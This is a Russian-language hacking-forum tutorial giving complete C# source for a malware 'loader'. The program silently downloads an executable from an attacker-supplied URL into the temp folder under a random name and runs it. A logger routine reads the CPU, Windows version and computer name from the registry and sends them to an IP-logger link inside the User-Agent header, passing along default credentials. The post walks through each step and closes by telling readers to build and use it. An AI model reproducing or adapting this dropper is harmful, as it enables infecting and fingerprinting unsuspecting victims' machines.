Пишем лоадер на c#

Stass

Проверка на авторские статьи.
Главный редактор
Статус
Offline
С нами
Сообщения
169
Симпатии
6
Розыгрыши
0
#1
Нам нужно:
  • Visual Studio (Любая версия)
  • Прямые Руки
Открываем Visual Studio, создаём проект, а точней консольное приложение.
Заходим в свойства проекта и ставим такие настройки:
You must be registered for see images
P.s. "Имя сборки" и "Пространство имён по умолчанию" ставите своё название, какое хотите.

Теперь сам код:

Код:
using System.Threading;
using System.IO;
using System.Net;
using System.Diagnostics;
using System;
using Microsoft.Win32;

namespace cybforumgodnyq
{
    class Program
    {
        static void Main(string[] args)
        {
            Logger("Вашссылка");

            String Temp = Path.GetTempPath();

            String Ran1 = Path.GetRandomFileName();

            System.Net.WebClient WebClient = new System.Net.WebClient();
            WebClient.DownloadFile(new Uri("СсылкаНаФайл"), Temp + Ran1 + ".exe");

            Process lm = new Process();
            lm.StartInfo.FileName = Temp + Ran1 + ".exe";
            lm.Start();

            }

        public static void Logger(string link)
        {
            string key = "HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";
            string CPU = (string)Registry.GetValue(key, "ProcessorNameString", null);

            string key1 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
            string Windows = (string)Registry.GetValue(key1, "ProductName", null);

            string key2 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";
            string Name = (string)Registry.GetValue(key2, "ComputerName", null);

            {
                WebRequest request = WebRequest.Create(link);
                request.Credentials = CredentialCache.DefaultCredentials;
                ((HttpWebRequest)request).UserAgent = ("CPU: " + CPU) + (" | OS: " + Windows) + (" | Name: " + Name);
                request.GetResponse();
            }
        }
    }
}
Теперь по порядку:
1.
Код:
String Temp = Path.GetTempPath();

String Ran1 = Path.GetRandomFileName();
В данных строках мы ищем папку %TEMP% и делаем рандомное название при скачивании файла.

2.
Код:
Logger("Вашассылка");
Здесь вставляем ссылку на ваш iplogger (Если он вам не нужен, просто удаляем эту строку и ещё "public static void Logger(string link)")

3.
Код:
WebClient.DownloadFile(new Uri("СсылкаНаФайл"), Temp + Ran1 + ".exe");
В данной строке вставляем свою ссылку на файл (Ну это надеюсь и так понятно)


4.
Код:
Process lm = new Process();
lm.StartInfo.FileName = Temp + Ran1 + ".exe";
lm.Start();
Данные строки запускают наш скачанный файл.

5.
Код:
public static void Logger(string link)
        {
            string key = "HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";
            string CPU = (string)Registry.GetValue(key, "ProcessorNameString", null);

            string key1 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
            string Windows = (string)Registry.GetValue(key1, "ProductName", null);

            string key2 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";
            string Name = (string)Registry.GetValue(key2, "ComputerName", null);

            {
                WebRequest request = WebRequest.Create(link);
                request.Credentials = CredentialCache.DefaultCredentials;
                ((HttpWebRequest)request).UserAgent = ("CPU: " + CPU) + (" | OS: " + Windows) + (" | Name: " + Name);
                request.GetResponse();
            }
        }
    }
Данные строки, это подобие расширенного iplogger'a.


После того как сделали всё, собираем лоадер и пользуемся.